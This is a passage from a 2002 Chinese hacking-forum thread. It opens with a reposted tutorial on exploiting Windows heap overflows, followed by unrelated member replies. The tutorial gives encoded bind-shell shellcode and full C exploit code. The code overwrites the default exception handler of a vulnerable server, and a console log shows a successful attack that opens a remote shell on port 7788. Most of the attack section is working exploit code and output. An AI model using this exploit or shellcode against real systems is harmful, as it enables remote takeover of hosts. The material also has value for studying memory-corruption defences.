"\x5d\x55\x55\xfa\xc2\xaa\xae\xaa\xaa\x27\x27\xaa\x52\x55\x55\xfb"
"\x21\x3f\xb2\x5d\x55\x55\xf8\x55\x3f\x6e\x5d\x55\x55\x91\x5e\x3a"
"\xe9\xe1\xe9\xe1\x29\x17\x9a\x5d\x55\x55\xaa\xa5\x24\x30\x6e\xaa"
"\xaa\xaa\x21\x5e\xc0\xaa\x27\x30\x6f\x9a\x5d\x55\x55\xfa\x21\x27"
"\x9a\x5d\x55\x55\xfb\x27\x3f\xaa\x52\x55\x55\xf8\x21\x30\x6f\xb2"
"\x5d\x55\x55\xfa\x55\x3f\x62\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9"
"\xe1\x29\x17\x9a\x5d\x55\x55\xaa\xd4\x82\x21\x5e\xc0\xaa\x21\x27"
"\x9a\x5d\x55\x55\xfb\x27\x3f\xaa\x52\x55\x55\xf8\x21\x30\x6f\xe2"
"\x5d\x55\x55\xfa\x55\x3f\x4e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9"
"\xe1\x41\x8b\x21\x5e\xc0\xaa\xc0\xa2\x21\x27\x30\x42\x5d\x55\x55"
"\xfb\x21\x3f\xe2\x5d\x55\x55\xf8\x55\x3f\x4e\x5d\x55\x55\x91\x5e"
"\x3a\xe9\xe1\xe9\xe1\x43\x18\xaa\xaa\xaa\x21\x5e\xc0\xaa\xc2\xaa"
"\xae\xaa\xaa\x27\x30\x6f\xaa\x52\x55\x55\xfa\x21\x27\xe2\x5d\x55"
"\x55\xfb\x55\x3f\x42\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x23"
"\x30\x6f\x9a\x5d\x55\x55\x29\x17\x9a\x5d\x55\x55\xaa\xd5\xf8\x6d"
"\x30\x6f\x9a\x5d\x55\x55\xac\xaa\xaa\xaa\x21\x5e\xc0\xaa\x27\x3f"
"\x9a\x5d\x55\x55\xf8\x21\x30\x6f\x9a\x5d\x55\x55\xfa\x21\x27\x30"
"\x42\x5d\x55\x55\x29\x6b\xa2\xfb\x21\x3f\xa6\x5d\x55\x55\xf8\x55"
"\x3f\x66\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x21\x5e\x21\x30"
"\x6f\xe2\x5d\x55\x55\xfa\x55\x3f\x5a\x5d\x55\x55\x91\x5e\x3a\xe9"
"\xe1\xe9\xe1\x41\x98\x21\x5e\xc0\xaa\x27\x27\x9a\x5d\x55\x55\xfb"
"\x21\x3f\x9a\x5d\x55\x55\xf8\x27\x30\x6f\xaa\x52\x55\x55\xfa\x21"
"\x27\xa6\x5d\x55\x55\xfb\x55\x3f\x66\x5d\x55\x55\x91\x5e\x3a\xe9"
"\xe1\xe9\xe1\x43\xd4\x54\x55\x55\x43\x87\x57\x55\x55\x41\x54\xf2"
"\xfa\x21\x17\x30\x42\x5d\x55\x55\x23\xed\x58\x69\x21\xee\x8e\xa6"
"\xaf\x12\xaa\xaa\xaa\x6d\xaa\xee\x99\x88\xbb\x99\x6a\x69\x41\x46"
"\x42\xb3\x53\x55\x55\xb4\xc6\xe6\xc5\xcb\xce\xe6\xc3\xc8\xd8\xcb"
"\xd8\xd3\xeb\xaa\xe9\xd8\xcf\xcb\xde\xcf\xfa\xc3\xda\xcf\xaa\xe9"
"\xd8\xcf\xcb\xde\xcf\xfa\xd8\xc5\xc9\xcf\xd9\xd9\xeb\xaa\xe9\xc6"
"\xc5\xd9\xcf\xe2\xcb\xc4\xce\xc6\xcf\xaa\xfa\xcf\xcf\xc1\xe4\xcb"
"\xc7\xcf\xce\xfa\xc3\xda\xcf\xaa\xf8\xcf\xcb\xce\xec\xc3\xc6\xcf"
"\xaa\xfd\xd8\xc3\xde\xcf\xec\xc3\xc6\xcf\xaa\xdd\xd9\x98\xf5\x99"
"\x98\x84\xce\xc6\xc6\xaa\xd9\xc5\xc9\xc1\xcf\xde\xaa\xc8\xc3\xc4"
"\xce\xaa\xc6\xc3\xd9\xde\xcf\xc4\xaa\xcb\xc9\xc9\xcf\xda\xde\xaa"
"\xd9\xcf\xc4\xce\xaa\xd8\xcf\xc9\xdc\xaa\xc3\xc5\xc9\xde\xc6\xd9"
"\xc5\xc9\xc1\xcf\xde\xaa\xc9\xc6\xc5\xd9\xcf\xd9\xc5\xc9\xc1\xcf"
"\xde\xaa\xc9\xc7\xce\x84\xcf\xd2\xcf\xaa\xcf\xd2\xc3\xde\xa7\xa0"
"\xaa";
/* 2161+16 bytes long */

int main(int argc, char *argv[])
{
WSADATA wsd;
SOCKET sClient;
int ret, i;
struct sockaddr_in server;
struct hostent *host = NULL;

char buff[4096] = {0};

if(argc != 3)
{
printf("usage: %s target port\n", argv[0]);
exit(1);
}
if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
{
printf("Failed to load Winsock library!\n");
return 1;
}

sClient = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sClient == INVALID_SOCKET)
{
printf("socket() failed: %d\n", WSAGetLastError());
return 1;
}
server.sin_family = AF_INET;
server.sin_port = htons((u_short)atoi(argv[2]));
server.sin_addr.s_addr = inet_addr(argv[1]);
if (server.sin_addr.s_addr == INADDR_NONE)
{
host = gethostbyname(argv[1]);
if (host == NULL)
{
printf("Unable to resolve server: %s\n", argv[1]);
return 1;
}
CopyMemory(&server.sin_addr, host->h_addr_list[0],
host->h_length);
}
//连接到目标主机的1500端口
if (connect(sClient, (struct sockaddr *)&server,
sizeof(server)) == SOCKET_ERROR)
{
printf("connect() failed: %d\n", WSAGetLastError());
return 1;
}
//下面开始构造溢出串
for(i=0;i<sizeof(buff)
{
buff[i++] = 0xeb;
buff[i++] = 0x06;
}
//先把前面放上大量的jmp 6指令(0xeb,0x06)作为NOP
*(unsigned int *)&buff[32+8] = 0x0012f5bf; //shellcode地址
*(unsigned int *)&buff[32+8+4] = 0x77ebf44c; //默认异常处理地址
//在对应的位置放上要改写的内存地址和shellcode地址,
//这里用的shellcode地址是放在漏洞程序中的char buff[4096]里面的,
//这个是堆栈中的缓冲区地址,在不同的系统中可能略有不同
memcpy(&buff[sizeof(buff)-strlen(shellcode)-1],shellcode,strlen(shellcode));
//然后把shellcode放在最后面
/*
整个构造好的溢出串如下:
+------------------------------------------------------------------------------+
|jmp 6 jmp 6...|0x0012f5bf|0x77ebf44c|jmp 6 jmp 6...jmp 6 jmp 6| shellcode |
+------------------------------------------------------------------------------+
| 40 bytes | 4 bytes | 4 bytes | |shellcode的长度|
*/
//shellcode的前面要放上几个0x90,以便最后一个jmp 6可以跳到其中
buff[sizeof(buff)-1] = 0;

i = 4096;
//把溢出串发送过去
ret = send(sClient, buff, i, 0);
printf("shellcode sended!\ntelnet to 7788 port");

closesocket(sClient);
WSACleanup();
return 0;
}

我们首先以RELEASE模式来编译有漏洞的程序win_heap_vul.c,并运行起来。
然后再编译并运行攻击程序win_heap_exp.c:

C:\HEAP\client\Debug>win_heap_exp 192.168.5.55 1500
shellcode sended!
telnet to 7788 port

如果攻击成功,就会在目标主机上打开7788端口,用nc连上去。
C:\HEAP\client\Debug>nc -vv localhost 7788
YANXUE [127.0.0.1] 7788 (?) open

Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.

C:\HEAP\server\Release>dir

C:\HEAP\server\Release>
dir
驱动器 C 中的卷没有标签。
卷的序列号是 D4FF-AC1D

C:\HEAP\server\Release 的目录

2002-05-28 18:10 <DIR> .
2002-05-28 18:10 <DIR> ..
2002-05-28 18:10 33,792 vc60.idb
2002-05-28 18:10 40,960 win_heap_vul.exe
2002-05-28 18:10 2,676 win_heap_vul.obj
2002-05-28 18:10 2,910,400 win_heap_vul.pch
4 个文件 2,987,828 字节
2 个目录 2,044,203,008 可用字节

C:\HEAP\server\Release>exit

成功的攻击了HEAP溢出漏洞的程序,并打开了7788端口。

五、总结
通过上面的分析和例子,我们已经知道了如何利用Windows下的HEAP溢出。Windows下的HEAP溢出和Linux等系统的都差不多,都是将超长的数据拷贝到动态分配的内存块,从而导致覆盖掉内存块间的管理结构造成的。唯一不同之处在于Linux等系统的HEAP溢出是通过free()时被利用的,而Windows是在再次分配内存是产生问题的,这种情况应该也是很容易出现的,ASP溢出就是最典型的例子。

但是现在利用这种漏洞还存在一些问题:

1、对于线程异常链上所有异常处理函数都无法处理的异常,系统才交给默认异常来处理,只有在这种情况下我们改写默认异常处理才有效。也就是说,只有溢出后弹出错误对话框的漏洞程序,我们才能够用上面方法来利用,否则的话,就必须改写其他地方,例如TEB的第一个内存单元,或者保存在堆栈中的函数返回地址等。

2、上面的程序用的是shellcode的地址直接定位的方法,这种方法在某些情况下可能会造成攻击程序的通用性比较差。其实对于上面那个漏洞程序,我们也可以用在系统DLL中的JMP EBX-XXX指令的方法来定位shellcode,这样的指令是可以找到的,但是这种方法并不具备通用性,因此在上面例子里还是用了直接定位shellcode的方法。对于一些可以反复攻击的漏洞程序,我们也可以采取暴力法来猜测这个地址。

3、如果溢出发生在进程的默认HEAP上(即通过GetProcessHeap()获得的),那么在执行shellcode时会出现一些问题,因为溢出破坏掉一些HEAP管理结构,而shellcode中调用的一些API函数会在进程默认堆上进行内存分配工作,因此会导致shellcode无法正常运行。要解决这个问题就需要在shellcode里下一些功夫,可以在shellcode实际功能之前恢复被破坏的管理结构,或者不使用进行HEAP分配的函数,这肯定是一个可以解决的问题。

Windows下的HEAP溢出的发展还不完善,没有统一通用的方法来利用,要根据出现溢出的程序的具体情况来使用不同的方法来进行攻击。我写下本文的目的在于抛砖引玉,希望众位高手能够提出更多更好的办法来解决这些问题,使得HEAP溢出能够像STACK溢出那样容易利用。

----------------------------------------------------------
世界最强的站点http://cschina.org
最安全的论坛http://218.98.0.204

编辑 删除 发表时间发表于 2002-06-11.08:17:58   MSIE 6.0 Windows 98IP: 已记录
想学就学帅哥哦
级别:一般站友
威望:0
经验:0
货币:236
体力:35.7
来源:海南
总发帖数:29
注册日期:2002-06-06
查看 邮件 主页 QQ 消息 引用 复制 下载 

喂~!喂~!
这么多的东西怎么看啊。。。 这些代码怎么看啊。。有没有可以把他变成
中文的啊。。。。详细解释可以吗。


----------------------------------------------------------


我这人是本的可爱。。请大家谅解~!嘻嘻~~!

编辑 删除 发表时间发表于 2002-06-11.21:20:31   MSIE 5.0 Windows 98IP: 已记录
风子帅哥哦
级别:精灵王
威望:0
经验:15
货币:2048
体力:99
来源:61.154.16.*
总发帖数:673
注册日期:2001-05-26
查看 邮件 主页 QQ 消息 引用 复制 下载 

原文由 想学就学 发表:
喂~!喂~!
这么多的东西怎么看啊。。。 这些代码怎么看啊。。有没有可以把他变成
中文的啊。。。。详细解释可以吗。



呵呵……变成中文,你见过中文编写的C++?好像现在没有中文能编写的程序吧?

[ 此消息由 风子 在 2002-06-13.07:45:18 编辑过 ]
----------------------------------------------------------
世界最强的站点http://cschina.org
最安全的论坛http://218.98.0.204

编辑 删除 发表时间发表于 2002-06-13.07:44:18   MSIE 6.0 Windows 98IP: 已记录
洪水部族帅哥哦
级别:中级站友
威望:0
经验:0
货币:590
体力:51.5
来源:█████
总发帖数:93
注册日期:2002-05-30
查看 邮件 主页 QQ 消息 引用 复制 下载 

FOXBASIC曾经红过一时,
它就是中文的
还有好多的中文语言编写程序呢
----------------------------------------------------------
████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████

编辑 删除 发表时间发表于 2002-06-13.08:25:51  Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)IP: 已记录
风子帅哥哦
级别:精灵王
威望:0
经验:15
货币:2048
体力:99
来源:61.154.16.*
总发帖数:673
注册日期:2001-05-26
查看 邮件 主页 QQ 消息 引用 复制 下载 

原文由 洪水部族 发表:
FOXBASIC曾经红过一时,
它就是中文的
还有好多的中文语言编写程序呢


呵呵……为什么用“曾经”!

好多是什么呀?说说大家都在用的呀!~
----------------------------------------------------------
世界最强的站点http://cschina.org
最安全的论坛http://218.98.0.204

编辑 删除 发表时间发表于 2002-06-13.08:41:49   MSIE 6.0 Windows 98IP: 已记录
xhacker帅哥哦
级别:高级站友
威望:0
经验:0
货币:331
体力:12.6
来源:贵州
总发帖数:145
注册日期:2002-02-21
查看 邮件 主页 QQ 消息 引用 复制 下载 

analysist是我大哥,http://www.china4lert.org他的爱站,好文章非常的多。大家去看看吧。

编辑 删除 发表时间发表于 2002-06-13.08:50:33   MSIE 5.01 Windows 2000IP: 已记录
风子帅哥哦
级别:精灵王
威望:0
经验:15
货币:2048
体力:99
来源:61.154.16.*
总发帖数:673
注册日期:2001-05-26
查看 邮件 主页 QQ 消息 引用 复制 下载 

【关于本站】


红色警戒(http://www.china4lert.org)是一个非赢利性的个人网站,最初建立于2000年11月。特点是追求原创,除了少数几篇翻译的文章外,都属个人原创作品,包括漏洞,文章和工具等。重点是CGI安全,可以称得上目前国内最好的CGI安全站点。



【关于本人】


analysist,25岁,毕业于北方交通大学。双重性格,爱好电脑网络,流行音乐,看电影,打篮球,溜冰,爬山,钓鱼,睡觉,很多。。。

【关于本站】


红色警戒(http://www.china4lert.org)是一个非赢利性的个人网站,最初建立于2000年11月。特点是追求原创,除了少数几篇翻译的文章外,都属个人原创作品,包括漏洞,文章和工具等。重点是CGI安全,可以称得上目前国内最好的CGI安全站点。



【关于本人】


analysist,25岁,毕业于北方交通大学。双重性格,爱好电脑网络,流行音乐,看电影,打篮球,溜冰,爬山,钓鱼,睡觉,很多。。。



----------------------------------------------------------
世界最强的站点http://cschina.org
最安全的论坛http://218.98.0.204

编辑 删除 发表时间发表于 2002-06-13.10:45:27   MSIE 6.0 Windows 98IP: 已记录
温柔小刀帅哥哦
级别:一般站友
威望:0
经验:0
货币:186
体力:33.7
来源:61.184.68.*
总发帖数:19
注册日期:2002-06-12
查看 邮件 主页 QQ 消息 引用 复制 下载 

我也学学

编辑 删除 发表时间发表于 2002-06-13.11:17:21   MSIE 5.01 Windows 2000IP: 已记录
cat美女哟
级别:中级站友
威望:0
经验:0
货币:109
体力:4.3
来源:广东
总发帖数:40
注册日期:2002-02-20
查看 邮件 主页 QQ 消息 引用 复制 下载 

这也叫精?版主你是不是瞎了?在列为精之前你们把它编辑好。转帖也没水平,这么多表情符号,哪位老版主把它编辑一下。论坛越来越差了。

[ 此消息由 cat 在 2002-06-13.12:11:23 编辑过 ]

编辑 删除 发表时间发表于 2002-06-13.12:07:58   MSIE 6.0 Windows MeIP: 已记录
cat美女哟
级别:中级站友
威望:0
经验:0
货币:109
体力:4.3
来源:广东
总发帖数:40
注册日期:2002-02-20
查看 邮件 主页 QQ 消息 引用 复制 下载 

你们版主是不是有问题???怎么不编辑一下?????

编辑 删除 发表时间发表于 2002-06-13.16:59:50   MSIE 6.0 Windows MeIP: 已记录
选择回复        
 快速回复主题: >>>高级模式
  用户名: 没有注册? 密码: 忘记密码?
记住密码
HTML语法
禁止IDB代码
禁止表情字符

[按 Ctrl+Enter 快捷键可直接提交帖子]
 投票评分: 共 0 票  
所有时间均为: 北京时间 ↑TOP 
关闭主题 拉前主题 移动主题 主题置顶 取消置顶 总固顶主题 取消总固顶 加入精华 移出精华 删除主题